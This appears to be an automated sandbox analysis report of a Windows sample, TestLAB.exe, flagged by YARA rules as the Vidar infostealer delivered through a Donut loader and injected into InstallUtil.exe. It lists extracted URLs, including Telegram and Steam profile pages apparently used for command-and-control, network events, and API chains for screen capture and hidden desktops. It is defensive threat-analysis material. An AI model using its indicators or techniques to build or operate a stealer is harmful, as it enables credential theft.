Source: chrome.exe, 00000005.00000003.2126722149.00006E1801920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2126207182.00006E180191C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2126101265.00006E1801914000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardn
Source: chrome.exe, 00000005.00000003.2130156682.0000033C0080C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000005.00000003.2121570528.00006E18012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120640922.00006E1801360000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120538128.00006E1801358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120449077.00006E1801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120090994.00006E18012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121642267.00006E18012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121697355.00006E1801380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000005.00000003.2107754428.00006E18010A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2107844139.00006E180114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2107463556.00006E180040C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000005.00000003.2107754428.00006E18010A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2107844139.00006E180114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2107463556.00006E180040C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000005.00000003.2090568168.0000033C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2130156682.0000033C0080C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000005.00000003.2091200058.0000033C006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2107463556.00006E180040C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000005.00000003.2130156682.0000033C0080C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000005.00000003.2137860334.00006E1800C1C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000005.00000003.2093501358.00006E18001C8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000005.00000003.2121570528.00006E18012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120640922.00006E1801360000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120538128.00006E1801358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120449077.00006E1801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120090994.00006E18012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121642267.00006E18012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121697355.00006E1801380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?tab=rm&amp;ogbl
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/shielded-email?utm_source=chrome2B
Source: chrome.exe, 00000005.00000003.2121642267.00006E18012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121697355.00006E1801380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000005.00000003.2107416334.00006E1800C1C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000005.00000003.2121642267.00006E18012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121697355.00006E1801380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000005.00000003.2121642267.00006E18012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121697355.00006E1801380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000005.00000003.2123621084.00006E1800C29000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2139140981.00006E1801AB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000005.00000003.2123621084.00006E1800C29000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2139140981.00006E1801AB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000005.00000003.2123621084.00006E1800C29000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2139140981.00006E1801AB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000005.00000003.2123621084.00006E1800C29000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000005.00000003.2123621084.00006E1800C29000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2139140981.00006E1801AB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000005.00000003.2123621084.00006E1800C29000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000005.00000003.2123621084.00006E1800C29000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2139140981.00006E1801AB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000005.00000003.2107754428.00006E18010A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2107844139.00006E180114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2107463556.00006E180040C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_65.7.dr String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_68.7.dr String found in binary or memory: https://plus.google.com
Source: chromecache_68.7.dr String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: chrome.exe, 00000005.00000003.2111885374.00006E18002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000005.00000003.2121570528.00006E18012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120640922.00006E1801360000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120538128.00006E1801358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120449077.00006E1801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120090994.00006E18012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121642267.00006E18012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121697355.00006E1801380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: TestLAB.exe, 00000000.00000002.2011205715.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2023009276.0000000006AB0000.00000004.08000000.00040000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: TestLAB.exe, 00000000.00000002.2011205715.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.1991482086.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2023009276.0000000006AB0000.00000004.08000000.00040000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: TestLAB.exe, 00000000.00000002.2011205715.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2023009276.0000000006AB0000.00000004.08000000.00040000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: TestLAB.exe, 00000000.00000002.2011205715.00000000043EB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, InstallUtil.exe, 00000004.00000002.2388266536.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199819539662
Source: InstallUtil.exe, 00000004.00000002.2388266536.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199819539662go2dnizMozilla/5.0
Source: InstallUtil.exe, 00000004.00000002.2398175552.0000000003FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: InstallUtil.exe, 00000004.00000002.2398175552.0000000003FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: InstallUtil.exe, 00000004.00000002.2392387647.0000000003666000.00000004.00000020.00020000.00000000.sdmp, 4w4ekn.4.dr String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: InstallUtil.exe, 00000004.00000002.2392387647.0000000003642000.00000004.00000020.00020000.00000000.sdmp, 4w4ekn.4.dr String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: InstallUtil.exe, 00000004.00000002.2392387647.0000000003666000.00000004.00000020.00020000.00000000.sdmp, 4w4ekn.4.dr String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: InstallUtil.exe, 00000004.00000002.2392387647.0000000003642000.00000004.00000020.00020000.00000000.sdmp, 4w4ekn.4.dr String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000B78000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000B78000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/s
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/sc1phell
Source: InstallUtil.exe, 00000004.00000002.2388266536.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://t.me/sc1phellgo2dnizMozilla/5.0
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://web.telegram.org
Source: chromecache_68.7.dr String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: InstallUtil.exe, 00000004.00000002.2392387647.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp, s0zm7q.4.dr String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: InstallUtil.exe, 00000004.00000002.2392387647.0000000003728000.00000004.00000020.00020000.00000000.sdmp, 5pp8q9.4.dr String found in binary or memory: https://www.ecosia.org/newtab/
Source: InstallUtil.exe, 00000004.00000002.2392387647.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp, s0zm7q.4.dr String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: TestLAB.exe, 00000000.00000002.1987357651.0000000002690000.00000040.00001000.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.1989117459.0000000002B30000.00000004.00001000.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2015534955.0000000005AA0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.filehelpers.net/mustread/
Source: chrome.exe, 00000005.00000003.2120412042.00006E18002A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2111885374.00006E18002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000005.00000003.2111885374.00006E18002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000005.00000003.2111885374.00006E18002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000005.00000003.2110478579.00006E1800CB8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: InstallUtil.exe, 00000004.00000002.2392387647.0000000003728000.00000004.00000020.00020000.00000000.sdmp, 5pp8q9.4.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000005.00000003.2121570528.00006E18012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120640922.00006E1801360000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120538128.00006E1801358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120449077.00006E1801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120090994.00006E18012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121642267.00006E18012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121697355.00006E1801380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/imghp?hl=en&amp;tab=ri&amp;ogbl
Source: chrome.exe, 00000005.00000003.2121697355.00006E1801380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000005.00000003.2107463556.00006E180040C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000005.00000003.2120412042.00006E18002A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/speech-api/v2/synthesize?
Source: chrome.exe, 00000005.00000003.2111885374.00006E18002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chromecache_68.7.dr String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_68.7.dr String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000005.00000003.2125564863.00006E180140C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000005.00000003.2111885374.00006E18002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000005.00000003.2111885374.00006E18002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com
Source: chromecache_65.7.dr String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_65.7.dr String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_65.7.dr String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 00000005.00000003.2121697355.00006E1801380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000005.00000003.2120538128.00006E1801370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121570528.00006E18012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2120090994.00006E18012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121642267.00006E18012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121697355.00006E1801380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000005.00000003.2121642267.00006E18012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121697355.00006E1801380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.49JL8PttH04.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000005.00000003.2121642267.00006E18012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2121697355.00006E1801380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.avVfaMsGWq0.L.W.O/m=qmd
Source: InstallUtil.exe, 00000004.00000002.2398175552.0000000003FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: InstallUtil.exe, 00000004.00000002.2398175552.0000000003FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: InstallUtil.exe, 00000004.00000002.2398175552.0000000003FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: InstallUtil.exe, 00000004.00000002.2398175552.0000000003FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: InstallUtil.exe, 00000004.00000002.2398175552.0000000003FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 53703 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53646
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53645
Source: unknown Network traffic detected: HTTP traffic on port 53646 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53665 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53643
Source: unknown Network traffic detected: HTTP traffic on port 53681 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53720
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53692
Source: unknown Network traffic detected: HTTP traffic on port 53678 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 53655 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53674 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53657
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53656
Source: unknown Network traffic detected: HTTP traffic on port 53645 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53655
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53654
Source: unknown Network traffic detected: HTTP traffic on port 53677 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53656 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53673 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53703
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53746
Source: unknown Network traffic detected: HTTP traffic on port 53757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53709 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53709
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53668
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53665
Source: unknown Network traffic detected: HTTP traffic on port 53720 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53671
Source: unknown Network traffic detected: HTTP traffic on port 53676 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53657 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53757
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53675
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53674
Source: unknown Network traffic detected: HTTP traffic on port 53643 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53673
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53672
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53679
Source: unknown Network traffic detected: HTTP traffic on port 53668 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53678
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53677
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53676
Source: unknown Network traffic detected: HTTP traffic on port 53746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53681
Source: unknown Network traffic detected: HTTP traffic on port 53654 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53679 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53671 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53692 -> 443
Source: unknown HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.209.106:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040EAB5 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow, 4_2_0040EAB5
Source: Yara match File source: Process Memory Space: TestLAB.exe PID: 7276, type: MEMORYSTR
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00405AD3 memcpy,OpenDesktopA,CreateDesktopA,lstrcpyA,CreateProcessA,Sleep,CloseDesktop, 4_2_00405AD3

System Summary

barindex
Source: 4.2.InstallUtil.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 4.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 0.2.TestLAB.exe.43eb830.1.raw.unpack, type: UNPACKEDPE Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 00000004.00000002.2388266536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 00000000.00000002.1987357651.0000000002690000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069F7FA0 NtResumeThread, 0_2_069F7FA0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069F4160 NtProtectVirtualMemory, 0_2_069F4160
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069F7F98 NtResumeThread, 0_2_069F7F98
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069F4158 NtProtectVirtualMemory, 0_2_069F4158
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02690625 0_2_02690625
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_0282808C 0_2_0282808C
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_0282B7BC 0_2_0282B7BC
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02827CBC 0_2_02827CBC
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_028284C4 0_2_028284C4
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02826DC8 0_2_02826DC8
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02690000 0_2_02690000
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_026946AC 0_2_026946AC
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02828F64 0_2_02828F64
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02D49228 0_2_02D49228
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02D4D608 0_2_02D4D608
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02D49218 0_2_02D49218
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_0683C8CF 0_2_0683C8CF
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06840040 0_2_06840040
